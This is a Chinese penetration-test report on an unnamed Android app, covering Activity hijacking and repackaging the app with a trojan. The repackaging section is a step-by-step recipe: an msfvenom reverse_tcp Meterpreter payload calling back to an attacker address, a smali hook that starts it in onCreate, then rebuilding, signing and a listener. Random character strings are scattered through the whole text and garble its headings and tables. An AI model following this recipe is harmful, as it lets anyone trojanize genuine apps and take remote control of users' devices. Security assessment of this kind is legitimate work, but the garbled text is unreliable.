原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

$ R1 g7 r% N( V! `6 N 1 j) U( o3 g& G

. B5 s3 N& F P, r4 E2 l

4 J6 F1 @6 v2 _8 _$ z

) `0 Y/ y- c" } o& |5 l. a9 F

4 v7 y& G T" k. y; l" K; W 8 F, w' c7 X+ b1 X# S 文档编号：                z# e5 Q3 y" \4 P

! o5 Y6 A6 q/ _0 }) z4 v % _" k- r7 t- G

  " z6 l* W! ]' [4 v9 i

- `( w, m. \1 p) |3 b+ q

/ e. S2 R3 m6 v- }! e( a0 ?   / u4 s/ M) o9 j' E5 c$ v( f5 P

( a# }( e( B# w: x

3 f, n. n5 {) i1 _2 R; ~/ S& q  

3 [) B7 n& [% a/ s8 z

% Z" o: J8 l/ l1 \7 ~4 H! l % r1 J) o7 h& `9 O) M: K% Z/ v  

5 _$ b+ y* Z" P: k% ` 6 G; D8 Q! T, Z

3 j: @$ e' ^4 L( L8 ]/ B   : B0 l6 B$ o. }3 C 7 y5 W0 v: z( J. P: y

3 V2 i* p8 m3 ` 某某某APP渗透测试 ' k0 E! V3 ]9 g& V % p" J+ U! a, G$ c" d2 w0 b. R+ ?) E

7 I# i5 {1 {+ K9 E3 Y

1 ?6 A) H; m% y0 T0 O  

. g# ?+ S O# x2 A0 x' I7 k7 |

  , d6 l* {0 n9 m2 x

4 U+ Z+ ]$ s, ?( R- A, O

  $ N7 z% x5 X3 k- f9 B! X" e( |# v

0 q( `/ J: ^* j7 b9 U

& _3 h1 G9 I8 @+ m6 J: [1 S   ( o$ N. k; s0 x% P2 H: e

6 A% w$ T# ]& L ' y# K. u0 O0 ]! ^8 F

5 ?: |$ V$ x. C; D5 l( Q # ~ Y! e/ [8 @2 H3 i 技 术 报 告 3 P' N1 K* v/ W# s

6 u( R- ~5 ~* Y" E8 Z

1 g1 V; p+ }0 [* H! N+ q8 v |/ I4 k  

Y5 u6 E" ?0 V. M9 d

7 ^5 F1 v- ?8 M6 Y! t ( G% B' }+ g; j5 t# o1 \   9 p0 B: T# C% W2 c# n' B

" s; ^( X4 X: A* v

  , ~, L8 \. X8 x c! _

; L: O" o- t7 ^8 g

& H5 e2 i8 y" H# b ( G9 h% u7 V# C4 B# ]9 n   . Z5 D& x; q \% J

5 e# J6 _& P# y& I# s& _

* v c3 F1 ~/ t$ v* u2 I3 q  

8 g! V% {! x1 j

! M7 _5 H' A1 P+ }* k4 m / g4 V6 J$ J! T/ J: a   t4 }3 g7 v. Q6 ^0 \7 e" l

; |2 E$ A+ \( K) e6 l% d# d

* B5 n! [' d) z; y6 H( a& `/ ?  

( h% O0 N& R: V, r & `/ q3 k% J+ a5 f

4 K8 T B$ `, X " ]8 ]# }0 @, G% C. t) e9 K  

2 r% Z" O5 ]! ?; l! T

/ n% D4 V# W5 e' |* I! Z5 c   % V" m- _, H9 v+ H W4 @* Z: t+ l

  + I. ?; Z) l4 P2 { C$ Y4 E

7 d( ^3 \% E, n8 m3 c" C   $ y$ {1 L! }" s% D5 t) W

' X1 A, u) x8 Y+ ?& Q/ R: ] % u, I7 _/ W0 Z& L: _

0 s* @$ w) E9 h. c. d& _9 ^   4 E- j( V5 {, W5 c : m& z* d/ @2 I5 C' e2 Z9 B

8 p' P# O% j4 G' n+ | : H& t$ a2 R# _( a

 

* P( S. t. _ ~7 b6 n+ b# m

8 r( r! g6 h, o0 g/ I2 ~6 O2 X) R H- ^/ {5 @( s   , o3 I1 i! N( n; u4 t

, J, {0 o4 T* F4 f( z9 J/ g ! y) \/ R. j) ]7 B$ l

* X2 g9 x4 }2 N8 o1 b" G( B% D % d% c% h& W; y   ! a" {! q/ a- y) Z( F4 r ( I/ Y: g l- Z1 X1 R) j

  8 w' h F; _/ m3 n1 a0 G) _) h

9 g, n: i7 a% u/ T5 r; r- E

  . {) ~8 _. x3 `+ g. ^# I# ~- T & }5 x# m# J& @% [8 ?( F; H3 W

+ a- A1 @, s# J2 g$ ]& o( b4 w

9 j7 `. w# g5 r/ k t2 J% _   0 t9 N' U8 i; u9 x4 j

2 d0 h! m* v! g4 V- P8 \' s S

- A; _1 U- L- `. m. w/ B# _6 ~! r# N 二〇二〇年 + X, s7 J+ D1 P) B& \4 v( S

0 x- J0 e: }8 u) d L' j

# }" r5 e$ r, Z8 `) r `- @ 4 }. p! b& T5 A2 d9 _) x& x

, N* \7 P" ?6 M3 Q 3 y8 P4 F, P+ ^6 V: `

2 [$ F0 d1 ]7 c1 V
( E; F, G' a0 s" M 0 j+ O5 E! o6 g , B+ X1 C0 I& P

( ^2 h0 N0 D, m9 S! I. e7 _. o8 t* X

目 录 0 g% s1 R: \: j4 T# o- E2 U

8 @ d* l0 o! d p. G3 e" ?$ a2 ~ ' n s4 w+ J6 e! q- l$ k j. [, y* v7 G H Z" }: U( c( p. l. C

9 K" [+ m3 p% M   ; p! V4 r1 {4 R; ?) u 2 G/ P, H- e( ~: W: J% r

' O2 R. b2 L8 F, s6 N; ]& r! i

$ i5 R9 E& L2 K1 c( }% p3 g" O7 { 1 概述... 3 3 f9 }9 p5 ?" {& a9 n6 V

' H4 A/ G* D' l: {9 J7 F K. c3 n

' n* F% P1 @. C9 S 7 L5 j# e |5 k 1.2测试时间... 3 3 q ~( x$ i. ]2 Q

9 B" E: m S7 V8 H6 e% m: p9 P 1 C8 T8 a0 \% y4 [

3 Z, ?% v% q8 G3 D. z' E6 {( p9 H 1.3测试对象... 3

m( ]% d* Y( W5 Q4 K( ]# {

! d5 f+ R# _' R( k( }+ y6 P ' f2 M: F5 _$ Z7 p% S) M( g n( o 1.4测试结果... 3 " e5 m! u y4 a2 a" p

6 R* Y3 d. ]5 B! `

+ [, k# Q; i3 g: o2 f7 T- u/ t ~ 3 O. M& F1 E) K m% p( U 2 检测结果... 4 ! z7 T- [# M- w% U- c$ K2 e* B

- D. P! o+ R$ _# P; b- m$ {& o7 w

3 r( n, t1 e8 P 2.1 某某某... 4 7 e8 L7 E0 S/ F9 f. p" I

% @9 y2 c, K, c6 Z* t; b

2.1.1检测目标... 4 ( b3 I: C- _% o5 f/ C7 y 2 P' _, K5 t# V) o, `3 x

3 G/ | Z7 Y. W2 V. e$ z , Q0 g' t# I3 w: W9 M 2.1.2检测结果... 4

2 ^) P' f* [* i& ?; |

, c# p% B6 w! H4 Y 2.1.2.1. 4

; p( v5 ]4 y# [0 J2 g& A/ r

9 @) M- {2 _8 R* c% s 2.1.2.2. 6 }0 A' a( b+ |) q( X ( e0 _: q4 C, w5 T9 y. L) J

' d/ E- B! b. p

5 t6 q7 B F; \0 c ( o6 B( g' h- ^ ! i7 T j2 `" E

& W1 {7 \8 A( l1 C 0 L/ K1 V# g& u! U' l. n8 _ 4 z: o+ }( A* a% W

# e8 \. k) o1 B; ^. }* e5 H , ?. _) ?3 l/ T# F6 u/ @- S
0 {2 @; @ F0 b k1 N" a8 x. y - `4 I+ I6 L1 ~# N' R* G( A+ t* |: C

1 概述 6 j) \/ T3 I) `/ E7 W

% X& h% p$ Q4 a+ b) ] ( i8 P' [6 f: Y" K; o/ J6 H8 e

5 p \/ b+ F8 n7 B; S9 n2 M" D# | 1.2测试时间 ; e, b2 L9 k9 H* ` / v" f3 S* s' }+ e9 u% b

4 I7 w* x. j$ n0 D; o + i4 {5 x" K! Y! I3 _* \! K3 v' C8 a/ t( u K# K5 x6 K5 [, k N1 |- B" U3 N/ w" w6 t, m: R& q5 b0 Z t( s R9 `$ v& U2 a! ?$ a8 Q+ p' k9 T3 f' y" k% Q9 X% P4 m R6 \0 E8 n9 N; \% _8 V9 }8 O# V8 }, P' ~+ b7 b J; e' j- U) B- t% R5 P: A1 s' P# n1 S( M* E* J) o7 z7 B; W( t- z

- \2 C- X7 K* y! Z; m# U $ `6 M' g0 j* R2 x0 W6 t( @* [ ) S# ^( J& Y" T. q: E0 f9 | 渗透测试时间 6 K* v, Y6 I i( P- G . H* y2 m; A9 j) s/ E3 _! ?
2 ^5 P; l8 P x/ t. E$ R b/ z1 \6 \( x J( E 起始时间 ' V- E; V1 K0 U6 X / C4 i- L$ H6 Q2 u$ E1 E, C ; J$ G" G4 Q; c- \: z" M$ k	0 r$ A% q3 e% v0 b& N( w5 u; K- _! V 9 B; N3 P. Q2 p/ b( ^ 2020年4月6日 ( ~: N0 {4 K" z `( S1 ] 0 P2 `$ M2 `; w7 n1 I- j$ W8 L
( k( {3 N' o/ T( F. Y7 O ) V8 B, ]( Z" [+ s3 d( ` 结束时间 + h B/ |% y2 T) S& Y" }4 ` 2 T1 D# e1 M- i# j ! ^8 s9 M r4 G; g8 m / V2 L6 S, Q$ x9 U' a0 B	: c8 P, S# o/ V" _7 A : Q! M5 U! c/ ~, S' f: Q 2020年4月9日 ) J: `# q& [( B& L / T5 q/ `1 s9 q7 T, J 1 h0 U8 k/ M9 o/ G1 k . x# q$ ?1 H" E. d$ b+ i+ ^0 h% a

) J8 [( Y6 n8 ?- d: n' _6 g ; K: {0 E% I+ N: U% z 1.3测试对象

' U8 S, I6 O$ t3 o- Y

5 n$ j( H/ l0 P2 @* P! I$ `7 g ' I/ g. E% C p+ P& h 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 2 j/ {( ]3 J- `' z5 U3 }

- c6 l( F; o P# x- C+ D; O8 y i3 s5 y" }( l/ J 表1-1 检测对象 * U q( h/ s1 x4 M

4 F( A6 X2 A# ~# X. C : }+ _9 I% f; v2 z/ M, |# H6 i) L9 ]9 a+ s9 R9 ~0 ]4 b( g0 y9 n: y1 H# y7 t1 F3 t5 U4 T! \5 q; @3 \ n4 M% s: Q3 O, z- O) D5 v* u! @4 \+ _) R9 S1 B4 E8 A7 A& B" k, x% m: A8 C k+ l. `* {. H7 y& u: Q1 C+ X! E8 C' d7 H" X% p: m: G) L1 K$ j3 A- M0 i% D7 I1 c: F/ S

+ B' }7 R- w# s" B# u4 y# |7 j) c 9 v' r6 s5 s; g/ A5 s; o; Y) ]& U( m 5 ~5 u" C; B0 M: c 序号 9 m x4 e3 ~; d0 n% n 3 a* f+ O1 b# u' k4 x& h5 a ' \5 X( ~4 {4 Q 0 b* K6 C' u# v. A	+ |/ g( G% G: t( w/ b& ~. ~ s 测试对象 5 x3 C' \6 S& N( H/ C6 S 3 B9 G3 _3 }3 | ' D: y& k; E* `' o4 F% r & G" y" ^" b3 X3 x) i	% Y& t( L1 X+ F$ C# R 测试地址	' r* \7 ]& i6 h9 Y ( A% F% X+ a. D, F: U 安全漏洞 9 k' b/ o: X0 M6 r/ B7 k2 k+ W. J/ W 8 o8 L/ V. Z) B2 _2 m % Y7 X0 ~; Q% |% _" v ^( t. R, K
! ], w# s. ], n* a) P 1 ! _4 ?% |; {, J! d; l	4 n+ k' i' h6 L8 _% W# ~ 7 N0 g8 {% W/ a8 G; X9 i6 z& {5 x 某某某安卓APP . I, p. A+ O' W; x! m9 ]4 { ; Z# h) w; j ?, n' f! p" v	6 F- I4 U* g6 Z9 Y7 @* w 3 H# J4 g6 r* q. E7 ^5 a" @, h9 `; n   1 }- K0 g& b2 L( M0 I $ p6 K6 z7 O& B+ ^& ~	* j+ T6 w" `, k; u' s6 [" r. O 1 c K& f7 ?6 c2 o: n; r & P6 D; i' t# {1 Z # z) _9 {* H$ x. E: F. N 2 7 w, e$ q+ c% G# o4 I1 s7 f4 x j/ C% K: ^7 ` , B/ B* T3 S( u# W& c

4 b5 X U. I( Y2 f + t+ H% x1 Q: t$ P. @- G, u+ T 1.4测试结果 6 w1 i; ]7 @6 R

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

3 A9 ^- \: I/ x) z! j V+ O

 

$ r* m+ R' m6 Q4 C/ o 7 l1 N% O2 C" \1 G; n; ]( x % V# O4 P" |. ]& j; @& O" r$ D. L6 g+ u' l& h6 N% O1 d8 S* z) }! U0 r& R. h* P8 T+ m( R' i+ y0 `; ^" V; i; C6 }3 W5 j- V9 y/ v: d% g; H& _) R' M* D7 H* t' |& B' |& G' m$ d/ e. q# ]! [2 h/ Q& F" B. h& J- n6 b6 ~) j; g3 ]6 T$ a2 ]) A1 c) }1 L2 C; I( ]! v+ ]& G: w: i( X: v3 V- u8 L0 h, @- w3 o6 I" O: X q0 @2 l2 o" O! a7 R: M( e+ ]/ \; g5 T( F5 y# ?3 X% E# j" |: U7 G6 [, l: _/ O; ]' j/ e' k5 G# G& h! d$ S4 m) K" b0 @4 Z s# X& ]0 b5 g5 w* r( g" B# q& ?. P" X% \4 H/ e8 q* t" ^1 x6 g: B( N/ B+ U8 M; P; s+ |% I% w8 |% S4 w& ^% R/ L( O6 E: @6 y; |0 r& J1 x0 U3 @: K+ l* ]& d" V' t5 C, r& O: e& u( O0 e$ C; d0 R5 p$ T0 V" C! j0 Q0 K, Z$ h$ U2 ]5 K( n) K6 u$ ]

序号 * S+ J# _2 X1 K; s 5 I* L7 K( a; M7 `* ~# y2 o; [	: @2 K* J8 p" r5 y $ T) v. I" Q; F9 \% X( H / v) M! Z- [0 z6 x 系统名称 + t2 Z+ x2 K& ~! L4 {5 g) _ / h! O1 j7 U4 e2 q: L 6 ~ s, x/ n$ v' U9 k2 {0 K	( X1 ?5 U+ Z/ U' t3 o 6 e/ d" w5 U+ L 漏洞名称 0 c4 g8 x! p+ i# J 6 N1 Q9 F- W. y	1 `5 c& z& R+ o. R( S# `* E! J$ ? ' T' d( n- _" _! s1 ] 漏洞危害 1 b: @- N, N8 i0 L0 k* [4 f5 s ) K8 A! }' r6 v, c6 i 7 L1 m: T7 Z* m" V3 q5 r$ I	0 F5 O8 Q5 Y+ M. P* R1 J7 W0 L* d ) ~, _& Q" P* f 修复结果 3 k' O" p# P" H' F 8 q- c) b* l Q7 G, o9 {- a- W3 v4 r
- @ J- I! ~/ K8 O* H 1 % P7 _% Y( `0 N& X 8 F5 H+ l/ s/ N! L+ e	4 d7 {4 ~+ Z/ U' p4 O$ B6 w 1 D3 I$ m; a/ Q 某某某某某某APP 2 U7 }" P. S6 e8 l% Q * D Y, x1 q7 N+ {	1 U7 B2 q" V2 B0 y* ]0 i b! Q1 E) ]& r I6 ~ 5 e; o a' `/ k% u Activity 劫持 $ y3 D* c) b( a7 W   . x9 q' I) J c' J& _	% E2 V& W8 c6 K/ ^8 x, z5 _ ; j! M! c8 h3 i5 u 8 i* F1 e6 j" c, F% N! X5 H6 t 高 . C! J4 ]- p8 ^! C$ z ; w- C7 Z2 c( E- v4 @3 u( ? ' K4 O* W( v0 I	( t/ B& b1 M3 e9 t & t$ @& ?; V! P, P( a 9 k) H8 l$ D# V& ^ # f# o* ]( a" R
1 ]' `8 v/ x) | v % { Y9 P9 G' q$ m: n; l 2 & E; I+ W4 Y" w8 ?# i/ ]6 J) E $ y" K7 B) P2 S' |5 { ' G% N3 R- H2 A) S0 j	某某某某某某APP * B+ {/ N* ~; w$ c) F1 q . [6 X# k0 i% V( B	9 L6 l. {6 z* y* A9 h+ `1 @ ' C2 c. y* @ |: I 4 Q8 J" x1 [6 a$ S# T 8 a; p1 L1 w3 r1 U/ @ 反编译二次打包捆绑木马、篡改APP代码 0 {5 n9 J$ u- @. m6 x) E' X0 n * g4 K" U, Z( v2 h) |5 I - ^( J) ~% L$ q	% E/ S( ~# N- W5 B7 M 高 1 C" x6 z" j! c6 Y- G; A# r : D4 Y4 j1 e$ j8 c' \ % \! g: L; S. a& H9 ]4 h	/ V& H" g7 T# n! J) [ ; |% b( b5 a. ~! t8 N

6 P) ?6 p2 Z5 \

6 v j: m0 ] H$ D% B

' Q- R: R0 y% Q2 o" d% K ( V( f6 ]3 ~ _' y1 n  

! v E7 \: d$ j) V: h 表1-2 测试结果 3 j3 a# @" T8 B5 Z6 H0 Y U 5 a0 {* F7 u+ b5 V

+ E3 C, m: _: Y+ }9 g7 Z2 a0 Z/ q 9 G3 S% [6 l; @* O6 r/ i; e$ K+ t1 l5 D

+ n" P7 f2 |$ t# W4 b+ \$ |6 o& M" A  

) q9 \0 j, H' m

$ _0 f7 n) x% t( l, h Z( P. f( @5 p% R; U 2 检测结果                    ! }- y! Z( m; f. ~ j & G1 e6 e, p: R+ \1 x, d! j

4 O% ^" i% ?$ ?% s i

# y; K T7 c& Y$ u% f7 a 2.1 某某某 5 m+ i; R, j& s2 h) _

6 D9 H t3 z: n0 S9 T ; m1 {( W5 N2 B' t6 @6 h! d

' `0 @% m. \# k4 ]: g 6 A* l% z- R) }: e 2.1.1检测目标

+ t7 S- x+ Z+ }/ Z6 M0 ?/ l5 I* r 0 e; g8 l4 v2 G; f% S6 c

& {& K' Q3 y5 z1 ^/ f @ ! G5 Z% S3 w% z8 _) M2 `$ c 目标地址： 某某某某某某APP 5 q: p7 P0 C8 M' X* |2 q, \3 g

/ r6 Z5 y8 B5 _: n, z+ S; C( D- N . u0 h N: }! C7 w9 l L 2.1.2检测结果

( m* ^/ R3 m8 g$ V* _ 6 b! H7 @" e5 C; ` 2.1.2.1 & E! ?8 r- _: u8 i+ L }

5 [. L$ I2 V) b4 f) e8 q+ z8 J

1 ?, ~" T5 P2 J9 B: L& M" t 漏洞链接地址：某某某某某某APP , S% }# y8 j9 D# _+ h) F- @) V 1 ?/ Q/ q9 s5 T! k. r9 c3 W

6 W, i4 a& C! Z+ f

0 g4 q1 k3 ^' s% Q/ ]   1 y6 j7 L! W N/ [ ; v+ B% L# t, ]+ _3 K

8 P. A8 P( P6 d% S' L) _+ t) }, h 漏洞分析及取证：

# H: F* X* U3 \! |6 E. @7 V, x

1 @) x' |6 T8 v( X, S @! T) ? # b- {9 @2 Z0 r# \0 `                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： * G7 H' ^4 L8 T+ |! }( i E+ { / m& Z5 B. J/ `) H; t

% j: z& i) t4 X7 u m* p

% M2 l0 D" w7 R2 P5 `7 V. R      + C% g+ O1 g' q1 t

E( \1 w; d* W3 O& c % T# F0 X$ j# J

                     

; K, J' G# n* X2 ]# r \" _2 O% {% S1 |. ~- X0 @

3 I0 d9 {! L+ }3 O4 G& j) v ) |0 Y' n3 f% u1 B : k9 l0 r C# L' [, f! R$ |

, o; o3 O( ~( k1 k. G( T! c

6 Z+ Q. C5 A! @1 o0 o0 v

+ V& X, }/ Z1 g, Q6 d4 p ' Z. T2 j, {- e; L% j& E

9 R' \3 |$ ]' t: X% e; Z" ]5 \ 1 j1 F0 @: G" V9 L4 L 漏洞危害：高

9 V: }9 e2 E# M) P2 W; B. U ' o. y7 M, j+ u

2 N$ A n/ f) h) L) B+ C( x7 C& `3 ^, e2 V/ Q% u/ q7 d0 k. c% ?( T. X% y2 b \8 s/ ]* {2 N0 X5 @& w+ O- t. S% R4 ~4 j9 b3 q' `4 w6 ?# [" D0 k+ p1 q4 ?6 H; }5 l* F; c$ D& s/ r/ }# A5 ?, N8 W+ ?, k& r4 {' t. Z3 F/ Z. F4 u% t; R# x l2 Y/ R' U* [$ `, J! H6 }" w3 Y, [4 R% M- d8 H% O1 d' ]+ {1 S* A$ U8 j3 j' w: P& h; ]' \" w' o% Y* p' A) y* a! w/ z; Q& X' i1 D8 h% [) f( m% w

' i" t) V) {1 ^ 0 g" a7 f3 T @' R. B ' M9 A5 d8 z0 a3 ]" _ 严重程度 p0 O/ u# T( o& _* H- e& ? $ r7 X9 ]5 n# T5 p M M" ~ B3 @ . r- _, z2 l, u/ {	, t8 t5 o. A7 p7 h9 c6 F3 ?9 r " A( V9 [ O" W/ T4 _" E 高 " m# A( r8 V) @ " L4 n* _% o8 c+ Q! K" |3 @2 g 3 ~/ K1 o5 D! U. k3 k	' [7 z' y. Y" }0 ~% j + B6 K1 R5 N9 p ■ . s' N- z3 z2 f6 e/ ~ 6 f) b; a0 s: Q! A5 Y$ {: W	: v! u6 B3 E! f. m; B/ N) A- X / a# p. F1 g7 {: \) ]) I3 z b 中 + I0 a! x( b; k 8 }: i# |8 W% g3 X6 p- U	1 K9 l; t) A, s* l 4 F3 d3 @7 c; F9 J   0 {1 g/ A- W' W- e	- w. {! g5 n" ] M* H/ P 低 " o5 R8 [* f$ M7 ^, R n ' v+ ^/ y; f$ p m9 o" N + I w2 V0 Q' a; l" p; M" B9 }9 G' _ 6 r; _3 a0 x3 Q* x( f	( c# M: h S3 W% j0 ^6 B 5 N0 E* f# \; H0 t; ?8 ~ , P& p. E7 R1 t k+ @1 a   + J& m0 N. O! `* Y& F

* h& ` {/ D1 r0 b6 n

- A4 u2 C* j! [ w, u4 F+ E: k+ r! o; }% ~

6 p4 V/ U' k2 I: V( A   . x8 M* G" M. M; n

# Q9 p0 B$ _4 o) T. {

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 4 C1 T8 A. i2 {- `' R8 M, d3 X

8 X3 ]) P6 p% z u; |: n ) P; n% |9 W1 f/ W9 z

* d" y! [/ ?8 X5 {- K & E; s* m* J, P3 n4 F/ M8 ~          

 

+ Y0 q' c: ~- i) c( G & W* g" n) w0 L. \

+ ?' A2 S; w8 ]3 T8 ]6 L . K `0 {9 k; O) N- Y1 Z: Z" F 2.1.2.2 , T N" r; V; ]2 }! q + d6 @8 m# z1 E! f: L; ~) B

1 }2 \" F1 P' r3 h" }! X + \! R' N1 j% w5 }. I7 c0 t

漏洞链接地址：某某某某某某APP ! t) a6 P$ Z4 |! M2 o! {

# j' e6 j& d, o+ Z2 Y; N 2 h# I% [& n+ H% B/ T P 漏洞分析及取证： 1 [" x+ w4 H$ ^, W3 Z5 N K1 J

% m ^4 _0 g6 `+ \* m3 r* q

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

+ B! j7 j; M9 ]! u$ s5 u 用Metasploit 生成木马 apk 8 h' r3 [ b2 _- F M( B$ z0 \7 J

6 J% w5 [! j! `! @3 x msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

" @0 E& H. P# u% i8 |4 c& ~0 P) m 7 W! ]! g0 J3 d7 F2 C- V6 l

. O# P& \! _5 f2 W& a8 T$ u ) b. {, h c) }, w, P 反编译目标apk和木马apk - L2 L/ X7 ? O N& L5 |5 o

* @4 |" u$ Q- b; f+ t' f( }

) C; k: n4 g l8 X $ V& p% b2 |5 ~% V! i apktool d target.apk
* \" u {. _9 g apktool d cockhorse.apk 6 @) y) \+ r0 Q9 v4 D- r* b& y

% S7 R/ q1 A) U! t 6 t& P/ y& T+ H2 }. j2 b1 T 木马 apk 注入目标 apk : G7 b$ V) B" |) r: P- C

3 Z5 K6 Z% n) c3 a- G- ] ( }0 M. h3 o7 k; w" f/ |! z

; l7 {$ N& C6 }+ \ 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
4 T* X$ i3 [# R" r. t invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

9 p& ^# A2 N" r, f$ u0 Y: [

1 j9 H+ T. A: L9 [6 c, P( z+ Q$ M 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 6 C5 a) l* p+ f8 C, B, ` ! S9 A# N4 d/ T, \; X- Z( N1 Y

* {' R9 _8 i- `2 G7 H ! N2 M+ c2 X, H# {; L

" l- d |; w! Z8 }/ G: j ) k" a( _: C4 m1 _ 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 # _; Q8 S% h- M3 e- k& q) n

7 m% \. G; x9 R- N. L( O; O6 W & O6 A$ e! V1 \7 J! S

- ^+ m1 c0 M2 D6 X+ l; ~ * a4 H( Q0 O0 C2 R+ |/ a1 G 回编译生成最终 apk 5 u0 Q1 X c6 f& s4 d2 i5 H 3 T8 m Y% ~2 M

" c' b' ?% P8 Q2 Z8 n) Y$ t4 n 重新打包

; I6 s `7 }0 A W apktool b -o repackage.apk target_app_floder ! c* ?: y% ` H . W L& u3 L# P- ]0 z' C. o1 o

创建签名文件，有的话可忽略此步骤 " C! O9 M' Q- i; V8 B 7 V8 q8 T) j0 ^6 X, l

5 ]( @% e# n' i! B& w- W1 l keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                # T+ a6 _: T$ o8 {! p " l4 v S/ b& J' B

; {# q0 S) X% u( v9 t; t# w 3 y/ M$ F- a# x% Y

签名，以下任选其一 % e4 v( O0 T# l2 ]' R6 s

5 O' c3 {7 P5 j/ G$ _

; T" C& E D; V jarsigner 方式

9 S$ Q/ x2 k5 q

4 W4 W7 r9 l& b* g3 ^9 p! @. \0 H & y* C' \" v/ l$ x$ O8 I jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

) C- k5 Z. P6 F* ]/ _# C * U G- e- [) J: z apksigner 方式 - X o3 j, p E

" l3 R; ^( O/ p* n. T$ f T

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

- e& O1 H* h4 C+ V' D5 b

如需要禁用 v2签名 添加选项--v2-signing-enabled false

. I; @6 f0 \( I- b% f

验证，以下任选其一 ) \: {8 a7 D2 j' {9 W) k

( T: s0 Y* ?; Y5 ?. n . z" a+ o0 P* l2 y) \% n+ P2 L1 ~

; n% D1 O; J+ s5 f& z3 F- f " \3 o4 Y5 q. m jarsigner方式 ( B l/ h: T& J9 F7 r+ a

% t( |: [( I6 [) p

* J; H! A8 x! X0 K3 a jarsigner -verify repackaged.apk 1 w4 I1 N& @& r) W) C; n( |! B" S, w

; w% P$ j$ d4 ^* J' d; ] K + m2 F6 ~8 g, I) ^) l

: [$ S7 o" c8 q# R& u" t/ y% Y0 N ; g# T: o6 J5 v2 H# n% y apksigner 方式 - X9 v h7 a! M ) Q: n; s' N" J$ R

+ i# S* w+ I8 @3 L6 V: m 3 w) t% `7 k- h$ p4 { apksigner verify -v --print-certs repackaged.apk . |* e! @( S% E/ A1 b6 u % e d. p, B( g) H/ U9 {% z- v

$ f2 I' r: B( o 7 E y) @2 T2 H% K9 J) s0 U2 u

" o" ?/ I- {1 {. k % }. x# I& v4 Y; S u keytool方式 ; g- m% v1 B9 n6 p6 y5 L( O) {

+ i( ~( \( G8 [, v# F. Y* M

; @+ A% p- Y1 ]* R9 ` 7 D! [* i9 H; Q7 |( W keytool -printcert -jarfile repackaged.apk $ z+ r$ U9 Z+ h$ L ! i5 H. k$ E1 a* g. |' @! I

/ ~# W- @8 ]! \3 y. a7 y4 _2 u+ S

& C2 I8 @( I9 c/ K0 _" j 对齐

0 g; N$ {, R- P

2 [4 `4 m, q" Z+ Q: R% h3 T- e 3 @! S% a5 V7 N8 y# E 字节对齐优化 . \* [( g& H/ l0 ?

# a4 H, h) j0 P: _& E0 e+ {# } zipalign -v 4 repackaged.apk final.apk % J; W( \6 I# L 0 s% j, b$ ? M! o t

1 p1 R2 Z' |' y! [/ B/ I0 B+ X

0 i( {% c" d- [) W( E2 } & g) F$ Z' K$ q d5 @ 检查是否对齐 # i) |- B% h/ U7 c- a L, y0 j. m/ \

( k7 I7 |# y) s0 b- y

zipalign -c -v 4 final.apk ) m9 p+ c# }( K- D9 I

; d1 k" e; c% }+ ~0 I1 L. Z! n0 o

9 M# K5 S, l6 m9 Y1 z 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 - K, M! |# e3 n5 s, }

2 K5 ~/ I) \+ _/ s# D5 k 6 O/ b' @, Q( L1 `; y0 D 启动Metasploit控制台，配置参数等待上线 5 n/ n$ M; l: r2 s8 O/ x* G * E8 i+ F. c; i7 M& w3 \" S8 {- [

( m8 x* o; |9 K1 e3 B/ n % q, d0 Z- Y3 s' w1 n 在终端依次输入如下命令 ; {7 ~5 ~% M" L t' S: K

/ E. N4 p/ n0 \2 E4 }; t; y$ ~

7 e5 d7 T- |8 N msfconsole 5 |& n3 H% }; E# a) B: h 4 O* x; M# w/ V X/ I" Q

, [0 `9 q. q0 N! D; J

use exploit/multi/handler , N3 P2 P# q. p" a$ f : _* C0 Q6 L' N3 |. F9 p

6 z, }) L9 L3 J

$ b! ]7 E3 } D0 h: w set PAYLOAD android/meterpreter/reverse_tcp ( x% J' h$ P4 C' Q" d / c, X" A! e9 ?! B/ W6 [7 M

& R9 P8 J' k% c- @! s x# O+ [7 E set LHOST 192.xxx.xx.xx ! n$ C( q% E# r 8 L5 ?) s0 h1 n

4 B+ }0 A3 r1 Y6 R) z, O8 v

set LPORT 4444 7 @' ?0 [- p5 B4 K - U6 _/ ^6 f! q1 Z" t( `

) \. y7 h+ ^. u# u! j

/ y1 c! f2 x7 W9 i' u2 [ exploit

6 [& G$ w5 a% ~% K8 o

) R4 R) D0 ?' G 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

m$ M. ~7 c/ Q

2 h$ _7 {/ S: U 漏洞危害：中 0 C5 {$ n7 a, ^+ o3 _ ( ~7 p- N; {1 I X8 t8 \

8 `& u! I O" D3 y5 m- [! K

